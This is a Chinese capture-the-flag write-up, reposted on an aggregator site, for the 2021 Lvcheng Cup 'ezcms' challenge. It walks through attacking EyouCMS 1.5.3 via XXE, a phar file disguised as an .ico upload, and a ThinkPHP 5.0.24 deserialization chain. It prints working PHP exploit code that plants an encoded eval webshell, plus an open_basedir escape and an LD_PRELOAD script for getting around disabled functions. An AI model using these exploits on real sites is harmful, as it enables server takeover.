绿城杯2021 ezcms

编程入门 行业动态 更新时间:2024-10-19 08:56:59

<a href=https://www.elefans.com/category/jswz/34/1712485.html style=绿城杯2021 ezcms"/>

绿城杯2021 ezcms

环境为eyoucms1.5.3
给了hint说是xxe,先搜索一下找到利用点
/Application/Home/Controller/Index
可以看到官方从1.5.4开始增加了过滤,而我们的版本是没有过滤的,故可以找方法利用

找到头像上传的后台
/Application/User/controller/Uploafify
可以看到不对.ico文件进行验证

上传路径构造规则暴露,通过构造+爆破是可以访问到的

所以我们可以构造phar文件并将后缀改为.ico上传
利用xxe读取phar文件内容反序列化
深入钻研phar反序列化的博客
/%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Phar/

利用Thinkphp5.0.24的链子

<?php
namespace think\cache\driver {class File{protected $options=null;protected $tag;function __construct(){$this->options=['expire' => 3600,'cache_subdir' => false,'prefix' => '','path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>/../uploads/user/4/allimg/20211102/a.php','data_compress' => false,];$this->tag = 'suanve';}}
}
namespace think\session\driver{class SessionHandler{}class Memcached extends SessionHandler{protected $handler;protected $config = [];function __construct(){$this->config['session_name'] = 123;$this->config['expire'] = 123;$this->handler = new \think\cache\driver\File();}}
}
namespace think\console{class Output{protected $styles;private $handle;function __construct(){$this->styles = array('readAndWrite');$this->handle = new \think\session\driver\Memcached();}}
}
namespace think {class Process{private $processInformation;private $status;private $process;private $processPipes;function __construct(){$this->status = 'started';$this->processInformation= array("running"=>true);$this->processPipes = new console\Output();$this->process = 1;}function __destruct(){echo "aaa";}}
}
namespace {use think\Process;// echo base64_encode(serialize(new Process()));@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub('GIF89a' . "<?"."php __HALT_COMPILER();?>");$o = new Process();
//    unserialize(serialize($o));$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest$phar->addFromString("test.txt", "<?"."php phpinfo()?>"); //添加要压缩的⽂件//签名⾃动计算$phar->stopBuffering();copy("./phar.phar","1.ico");file_get_contents("phar://1.ico/test.txt");
}

tp链子调试
参考
第一次看这条链子,本来想直接debug,但因为这题环境要求太苛刻了,大概手动调试一下
tp链子的关键一般都是寻找__call方法,这里使用的是think/console/Output
[$this, 'block']这种调用方式可以直接调用类中的block()方法,之前只在做题时用过,第一次看到实际操作中用到,所以跟进block

继续

handle可控,style可控,可以调用任意write方法

messages为call_user_func_array传进的args,故messages也可控

think\session\driver\Memcache

think\session\driver\Memcache中找到合适的write方法,handler依旧可控,需要一个合适的set方法

think\cache\driver\File

发现File类中可利用file_put_contents函数

getCacheKey中构造文件名,部分可控,data来自value,回溯一下

传入点又回到了write,发现不可控
但是继续执行File->set发现后面会进入setTegItem方法,跟进
think/cache/Drive

进入else时会对value重新赋值,并最后再调用set
name即为filename,且key可控,所以data其实是可控的

需要绕过死亡exit
.html

'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>/../uploads/user/4/allimg/20211102/a.php'

用伪协议构建即可将shell写入指定php文件

上传webshell后访问访问phpinfo发现限制了open_basedir和disable_function
用LD_PRELOAD绕过即可

<?php
ini_set('open_basedir',dirname(__FILE__));
mkdir('tmp');
chdir('tmp');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo "runing";
$so_path = "/tmp/biodog.so";
putenv("LD_PRELOAD=" . $so_path);
mb_send_mail("", "", "");

原题限制了用户权限,最后需要path提权readfalg,复现的时候感觉太麻烦了就没有实现

更多推荐

绿城杯2021 ezcms

本文发布于:2024-03-05 14:04:33,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1712484.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:绿城   ezcms

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!